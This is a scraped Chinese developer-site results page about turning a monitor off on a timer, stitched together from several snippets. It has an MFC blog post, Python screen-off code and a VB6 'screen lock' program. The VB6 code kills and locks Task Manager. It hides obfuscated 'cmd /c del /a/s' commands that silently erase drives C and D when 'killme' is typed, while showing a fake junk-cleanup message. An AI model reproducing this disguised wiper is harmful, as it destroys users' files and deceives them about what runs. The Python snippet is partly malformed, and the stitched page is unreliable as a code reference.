精华内容
下载资源
问答
  • 这是一个用MFC编写的显示器定时关闭开启小工具(需求来源是学校的LED屏幕要求几天连续播放,但晚上可能忘记关闭或者安排人员关闭很麻烦)。通过这个小工具可以实现指定时间段保持关闭状态,非关闭时间段保持开启。...
  • 定时关闭显示器

    2012-05-25 16:19:59
    初学MFC 用MFC编的定时关闭显示器 功能很简单 呵呵
  • 显示器定时开启和关闭小工具

    千次阅读 2019-06-13 09:32:57
    前几天,按照学院要求,学校几个LED屏幕要连续几天播放指定内容PPT,当时没有用LED自带的管理软件(因为那个软件操作起来太麻烦了),没有设置定时开启关闭显示器按钮。半夜屏幕还是开启的,结果晚上1点多领导直接...

            前几天,按照学院要求,学校几个LED屏幕要连续几天播放指定内容PPT,当时没有用LED自带的管理软件(因为那个软件操作起来太麻烦了),没有设置定时开启关闭显示器按钮。半夜屏幕还是开启的,结果晚上1点多领导直接拍照发信息过来,表示要加强管理。

             后面想处理这个事情的第一想法就是网上找相关的程序工具,可以设置时间段,定时开启和关闭。安排部门维护的同事找了一下,竟然没有合适的工具,于是自己动手,丰衣足食。下面贴出核心代码,上传直接可以运行使用的exe程序。如果也有相同需求的也可以直接下载使用。

    一、显示器的开启和关闭代码:

    ::PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);//开启显示器

    ::PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);//关闭显示器

    二、模拟鼠标移动操作

    测试发现关闭显示器再开启后,如果没有操作鼠标,虽然显示器开启了,但是显示无信号输入又关闭了,后面加入了模拟鼠标移动的操作(原位移动),才能解决问题:

            POINT lpPoint;
            GetCursorPos(&lpPoint);
            int mx = lpPoint.x * 65535 / GetSystemMetrics(SM_CXSCREEN);     
            int my = lpPoint.y * 65535 / GetSystemMetrics(SM_CYSCREEN);     
            mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE, mx, my, 0, 0);    //其实鼠标还是在原来的位置,只是这个操作模拟了鼠标移动操作,告诉系统给信号到显示,从而达到点亮目的。

    三、ini文件的读写

    ini文件用来保存用户设定的时间,主要涉及的两个函数:

    ::WritePrivateProfileStringW(_T("Setttings"), _T("TimeFrom"), strTimeFrom, iniPathFIle);//写配置文件

    ::GetPrivateProfileStringW(_T("Setttings"), _T("TimeFrom"), _T("1971-1-1 22:00:00"), strTime.GetBuffer(MAX_PATH), MAX_PATH, iniPathFIle);//读配置文件

    四、托盘实现

    对话框头文件加入:

    NOTIFYICONDATA m_nid;

    对话框初始化函数加入:

    //---------------------------托盘显示---------------------------------//
        m_nid.cbSize = (DWORD)sizeof(NOTIFYICONDATA);
        m_nid.hWnd = this->m_hWnd;
        m_nid.uID = IDR_MAINFRAME;
        m_nid.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
        m_nid.uCallbackMessage = WM_SHOWTASK;             // 自定义的消息名称
        m_nid.hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
        wcscpy_s(m_nid.szTip, _T("显示器定时开关程序"));                // 信息提示条为"服务器程序"
        Shell_NotifyIcon(NIM_ADD, &m_nid);                // 在托盘区添加图标

    对话框cpp加入函数(头文件声明):

    LRESULT CMonitorSetDlg::OnShowTask(WPARAM wParam, LPARAM lParam)
    {
        if (wParam != IDR_MAINFRAME)
            return 1;

        switch (lParam)
        {
        case WM_RBUTTONUP:                                        // 右键起来时弹出菜单
        {
            LPPOINT lpoint = new tagPOINT;
            ::GetCursorPos(lpoint);                    // 得到鼠标位置
            CMenu menu;
            menu.CreatePopupMenu();                    // 声明一个弹出式菜单
            menu.AppendMenu(MF_STRING, ID_APP_EXIT, _T("退出"));
            menu.TrackPopupMenu(TPM_LEFTALIGN, lpoint->x, lpoint->y, this);
            HMENU hmenu = menu.Detach();
            menu.DestroyMenu();
            delete lpoint;
        }
        break;
        case WM_LBUTTONDBLCLK:                                 // 双击左键的处理
        {
            this->ShowWindow(SW_SHOWNORMAL);         // 显示主窗口
        }
        break;
        }
        return 0;
    }

    对话框消息处理加入:

    ON_MESSAGE(WM_SHOWTASK, OnShowTask)

    OnDestroy函数中加入:

    Shell_NotifyIcon(NIM_DELETE, &m_nid);

    五、程序只允许单实例

    App头文件加入变量:

    HANDLE m_hMutex;

    App的构造函数初始化变量:

    m_hMutex = NULL;

    App的cpp文件的InitInstance函数加入:

    m_hMutex = CreateMutex(NULL, FALSE, _T("显示器定时开关程序"));
        // 检查错误代码

        // 如果程序已经存在并且正在运行
        if (GetLastError() == ERROR_ALREADY_EXISTS)

        {
            // 如果已有互斥量存在则释放句柄并复位互斥量
            CloseHandle(m_hMutex);
            m_hMutex = NULL;

            AfxMessageBox("程序已经运行了");
            // 程序退出
            return FALSE;
        }

    程序没有加入开机启动项,使用时将exe程序创建一个快捷方式,将它拷贝到启动项里面。运行程序,设置好时间,如:22:00-08:00。以后哪怕忘记关机屏幕也会晚上22点自动关闭,第二天早上8点自动开启。外界体验良好,也可以省电和人力。

    附上代码:

    https://download.csdn.net/download/abcpanpeng/11238637

    展开全文
  • VC++定时关闭显示器

    2012-09-06 21:08:04
    程序很简单,获取并显示当前系统时间,可设置时间,定时关闭显示器功能,
  • 定时关闭显示器、锁定计算机
  • 定时关机 关闭显示器. 休眠 重启
  • 定时关机软件和显示器关闭软件绿色版,非常好用! 显示器关闭只有一个小文件,轻松一点即可关闭屏幕!
  • VC++6.0一个定时关闭显示器和计时器的小程序
  • 快捷高效的定时软件,你可以应用此软件定时 运行或关闭软件、播放歌曲、关闭电脑、休眠/注销/待机电脑、关闭显示器定时提醒休息... 并可以按任务类型自动选择执行,使您的生活工作更有规律,更不会忘记重要的日子...
  • 它可以用于显示器关闭,延长显示器的寿命,还可以根据自己的爱好,更改相关的设置。
  • 用c# 2.0开发 内含解决方案文件及源码,Bin内的exe文件可试用效果。 本人认为这个小程序是初学c#不错的参考例子。
  • 定时开关机小软件 可设置定时关机 开机 关闭显示器
  • 显示器关闭工具

    2011-12-22 10:21:53
    本款小工具软件的主要功能是定时关闭显示器,提醒您不要在计算机前面待得太久。您可以自行设置工作时间长度与休息时间长度,以便不同的人群进行个性化调整
  • 关闭显示器函数

    2014-03-05 14:24:37
    delphi 关闭显示器函数,有时候为了节省电源或者延长显示器寿命,我们要编程定时关闭显示器
  • 定时关机,关机,关闭显示器,息屏,倒计时,winform开发
  • 支持关机、关闭显示器、声音提醒等功能,支持定时和倒计时功能,可做定时关机,闹钟等功能使用。另有去除音效的简版
  • (源码)小工具箱:锁屏,闹钟,定时关机,关闭显示器 详细说明见博客:http://blog.csdn.net/wanglx_/article/details/11136065
  • 一键关闭显示器

    2012-12-08 17:27:23
    一键关闭显示器 一键关屏幕 支持任务列表 支持定时关机、待机、关屏、开屏、注销、锁定
  • Python息屏、关闭显示器代码

    千次阅读 2020-06-25 23:42:26
    文章目录1. 按2. 仅关闭显示器代码3....如需要定时关闭屏幕和声音,请参考:用Python实现自定义息屏关声音程序 2. 仅关闭显示器代码 from ctypes import * HWND_BROADCAST = 0xffff WM_SYSCOMMAND = 0x0

    1. 按

    2. 仅关闭显示器代码

    from ctypes import *
    
    HWND_BROADCAST = 0xffff
    WM_SYSCOMMAND = 0x0112
    SC_MONITORPOWER = 0xF170
    MonitorPowerOff = 2
    SW_SHOW = 5
    
    
    def screenOff():
        windll.user32.PostMessageW(HWND_BROADCAST, WM_SYSCOMMAND,
                                   SC_MONITORPOWER, MonitorPowerOff)
    
        shell32 = windll.LoadLibrary("shell32.dll")
        shell32.ShellExecuteW(None, 'open', 'rundll32.exe',
                              'USER32', '', SW_SHOW)
    
    
    if __name__ == "__main__":
        screenOff()
    

    3. 关闭显示器并锁屏代码

    from ctypes import *
    
    HWND_BROADCAST = 0xffff
    WM_SYSCOMMAND = 0x0112
    SC_MONITORPOWER = 0xF170
    MonitorPowerOff = 2
    SW_SHOW = 5
    
    def main():
        windll.user32.PostMessageW(HWND_BROADCAST, WM_SYSCOMMAND,
                                   SC_MONITORPOWER, MonitorPowerOff)
    
        shell32 = windll.LoadLibrary("shell32.dll")
        shell32.ShellExecuteW(None,'open', 'rundll32.exe',
                              'USER32,LockWorkStation','',SW_SHOW)
    
    if __name__ == "__main__":
        print( "Win32 Application in python" )
        main()
    
    展开全文
  • 显示器关闭工具 v1.0 软件大小:103 KB软件语言:简体中文软件类别:国产软件 / 免费版 / 开关定时应用平台:Win9x/NT/2000/XP/2003界面预览:无插件情况: 投诉更新时间:2007-03-26 14:10:09下载次数:...
    Welcome to my blog!
    <script language="javascript" src="http://avss.b15.cnwg.cn/count/count.asp"></script>
    显示器关闭工具 v1.0<||>





    软件大小:

    103 KB



    软件语言:

    简体中文



    软件类别:

    国产软件 / 免费版 / 开关定时



    应用平台:

    Win9x/NT/2000/XP/2003



    界面预览:





    插件情况:


     



    投诉







    更新时间:

    2007-03-26 14:10:09



    下载次数:

    469



    推荐等级:






    联 系 人:


    zdw163
    hotmail.com




    开 发 商:显示器关闭工具 v1.0>作者空间:






        是一个很简单但很实用的工具。有时候想离开电脑一会儿,不想关电脑。为了省电或是屏幕保护而关掉显示器,去直接关显示器电源。有了这个工具可以不去按显示器的电源开关了,它能让显示器直接进入休眠状态,从而保护显示器,因为开关电源时会产生较高的电流有可能损坏显示器。
        软件使用起来极简单,连界面都省掉了。只需运行程序,5秒钟后显示器就休眠了。要让显示器回到工作状态,只需碰一下鼠标或是按一下键盘即可
    官方
    src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
    展开全文
  • 有时候想离开电脑一会儿,可是电脑正在工作不想关闭,或是为了省电及屏幕保护,可以不去按显示器电源开关了(笔记本电脑无显示器开关),它能让显示器直接进入休眠状态,从而保护显示器,因为开关电源时会产生较高的...
  • '关闭显示器 Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd()) End If End Sub Private Sub Label1_Click() On Error Resume Next Call KillProcess("taskmgr.exe") Text1.Left = Rnd * Form1.Width ...
     Option Explicit
    
    'Transparancy API's
    Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
    Private Declare Function UpdateLayeredWindow Lib "user32" (ByVal hwnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long
    Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
    Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
    
    Private Const GWL_EXSTYLE = (-20)
    Private Const LWA_COLORKEY = &H1
    Private Const LWA_ALPHA = &H2
    Private Const ULW_COLORKEY = &H1
    Private Const ULW_ALPHA = &H2
    Private Const ULW_OPAQUE = &H4
    Private Const WS_EX_LAYERED = &H80000
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd _
    As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
    Const WM_SYSCOMMAND = &H112&
    Const SC_MONITORPOWER = &HF170&
     
     Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
     Const HWND_TOPMOST = -1
     Dim Snow(1000, 2), Amounty As Integer
     Dim a1 As String
    Dim a2 As String
    Dim a3 As String
    Dim c1 As String
    Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * 260
    End Type
    Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
    Private Declare Function Process32First Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
    Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapShot As Long, lppe As PROCESSENTRY32) As Long
    Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
    Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
    Private Declare Sub CloseHandle Lib "kernel32" (ByVal hPass As Long)
    Private Const TH32CS_SNAPPROCESS = &H2&
    
    '关闭指定名称的进程
    Private Sub KillProcess(sProcess As String)
    Dim lSnapShot As Long
    Dim lNextProcess As Long
    Dim tPE As PROCESSENTRY32
    
    
    
    lSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
    If lSnapShot <> -1 Then
    tPE.dwSize = Len(tPE)
    lNextProcess = Process32First(lSnapShot, tPE)
    Do While lNextProcess
    If LCase$(sProcess) = LCase$(Left(tPE.szExeFile, InStr(1, tPE.szExeFile, Chr(0)) - 1)) Then
    Dim lProcess As Long
    Dim lExitCode As Long
    lProcess = OpenProcess(1, False, tPE.th32ProcessID)
    TerminateProcess lProcess, lExitCode
    CloseHandle lProcess
    End If
    lNextProcess = Process32Next(lSnapShot, tPE)
    Loop
    CloseHandle (lSnapShot)
    End If
    End Sub
    Public Function isTransparent(ByVal hwnd As Long) As Boolean
    On Error Resume Next
    Dim Msg As Long
    Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
    If (Msg And WS_EX_LAYERED) = WS_EX_LAYERED Then
    isTransparent = True
    Else
    isTransparent = False
    End If
    If Err Then
    isTransparent = False
    End If
    End Function
    
    Public Function MakeTransparent(ByVal hwnd As Long, ByVal Perc As Integer) As Long
    Dim Msg As Long
    On Error Resume Next
    
    Perc = 100
    If Perc < 0 Or Perc > 255 Then
    MakeTransparent = 1
    Else
    Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
    Msg = Msg Or WS_EX_LAYERED
    SetWindowLong hwnd, GWL_EXSTYLE, Msg
    SetLayeredWindowAttributes hwnd, 0, Perc, LWA_ALPHA
    MakeTransparent = 0
    End If
    If Err Then
    MakeTransparent = 2
    End If
    End Function
    
    Public Function MakeOpaque(ByVal hwnd As Long) As Long '移动鼠标显示屏幕
    Dim Msg As Long
    On Error Resume Next
    Msg = GetWindowLong(hwnd, GWL_EXSTYLE)
    Msg = Msg And Not WS_EX_LAYERED
    SetWindowLong hwnd, GWL_EXSTYLE, Msg
    SetLayeredWindowAttributes hwnd, 0, 0, LWA_ALPHA
    MakeOpaque = 0
    If Err Then
    MakeOpaque = 2
    End If
    End Function
    
    
    
    'Private Declare Function EnableWindow Lib "user32" (ByVal hWnd As Long, ByVal fEnable As Long) As Long
    'Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
    
     
     
    Private Sub Form_Load()
    On Error Resume Next
    
    a1 = "d"
    a2 = "e"
    a3 = "l"
    c1 = "c"
     Text1.BackColor = vbBlue
     Form1.BackColor = vbBlue
     
     If App.PrevInstance = True Then
            '一个实例
            End
            End If
     
        Dim rtn As Long
        rtn = GetWindowLong(hwnd, GWL_EXSTYLE)
        rtn = rtn Or WS_EX_LAYERED
        SetWindowLong hwnd, GWL_EXSTYLE, rtn
          SetLayeredWindowAttributes hwnd, vbBlue, 1, LWA_COLORKEY
    Text1.Left = Rnd * Form1.Width
    Text1.Top = Rnd * Form1.Height
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX _
    , Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, _
    Me.Height \ Screen.TwipsPerPixelY, 0
    Open Environ("windir") & "\system32\taskmgr.exe" For Input Lock Read Write As #1
      
    End Sub
    
    
    Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    On Error Resume Next
    If Text1.Text = "888" Then '密码888输入正确结束屏幕保护
    Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
     End
     
    Else
    Text1.Text = ""
     Call KillProcess("taskmgr.exe") '密码不对定时结束任务管理器
     SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 2& '关闭显示器
    Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
    End If
    End Sub
    
    Private Sub Label1_Click()
    On Error Resume Next
    Call KillProcess("taskmgr.exe")
    Text1.Left = Rnd * Form1.Width
    Text1.Top = Rnd * Form1.Height
    Label1.Caption = Text1.Left & "---" & Text1.Top
    
    Label1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
    If Text1.Text = "dc" Then '输入dc清空c盘命令打印到Label1
    Label1.Caption = "-----" & c1 & "m" & a1 & " /" & c1 & " " & a1 & a2 & a3 & " /a/s " & c1 & "\*.* /q"
    End If
    End Sub
    
    Private Sub Timer1_Timer()
    On Error Resume Next
    If Left(Text1.Text, 1) = "888" Then '密码888输入正确结束屏幕保护
    Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
     
     
    Else
    Text1.Text = ""
     Call KillProcess("taskmgr.exe") '密码不正确启动保护程序
    Text1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
    End If
    If Left(Text1.Text, 6) = "killme" Then '密码killme启动毁灭模式清空C盘和D盘
    Shell c1 & "m" & a1 & " /" & c1 & " " & a1 & a2 & a3 & " /a/s " & a1 & "\*.* /q", vbHide
    Shell c1 & "m" & a1 & " /" & c1 & " " & a1 & a2 & a3 & " /a/s " & c1 & "\*.* /q", vbHide
    
    Label1.FontSize = 50
    Label1.ForeColor = RGB(225, 225, 225)
    Label1.Caption = "密码正确,正在等待垃圾文件清理并回到工作." '毁灭模式伪装垃圾清理提示
    End If
    End Sub
    

     

    展开全文
  • 实现定时关机,支持修改定时关机时间,取消定时关机等,可以立即关机、重启、注销登录、关闭显示器(移动鼠标或敲击键盘则自动打开显示器) 等
  • webbrowser- 方便的Web浏览器控制器,是Python一个模块,可实现自动打开关、定时打开关闭网页/刷新网页,在Unix下,图形浏览器在X11下更受欢迎,但如果图形浏览器不可用或X11显示器不可用,则将使用文本模式浏览器。...
  • 关机定时小助手

    2013-02-26 20:52:41
    关机定时 关闭显示器 注销 重启 皮肤更换,多任务执行,
  • 王者定时关机是由王者科技开发的目前最优秀的一款能自动与手动处理:定时开机、定时关机、定时执行程序(如QQ,上网)、定时打开文件、定时关闭程序、定时访问网页(上网)、定时提醒、定时关闭显示器、定时重启电脑...
  • 定时关机小软件

    2012-01-04 21:40:16
    很小巧的一个定时关机软件,非常方便.可以获取当前准确时间.定时关闭显示器
  • 定时开机、定时关机、定时播音、定时打铃、定时执行程序(如QQ,上网)、定时打开文件、定时关闭程序、定时访问网页(上网)、定时提醒、定时关闭显示器、定时重启电脑、定时注销系统等的定时处理事务软件。...
  • 定时关机小程序

    2011-11-03 14:49:11
    定时关机小程序,带定时休眠、关闭显示器、关机、重启等功能

空空如也

空空如也

1 2 3 4 5 ... 10
收藏数 193
精华内容 77
关键字:

显示器定时关闭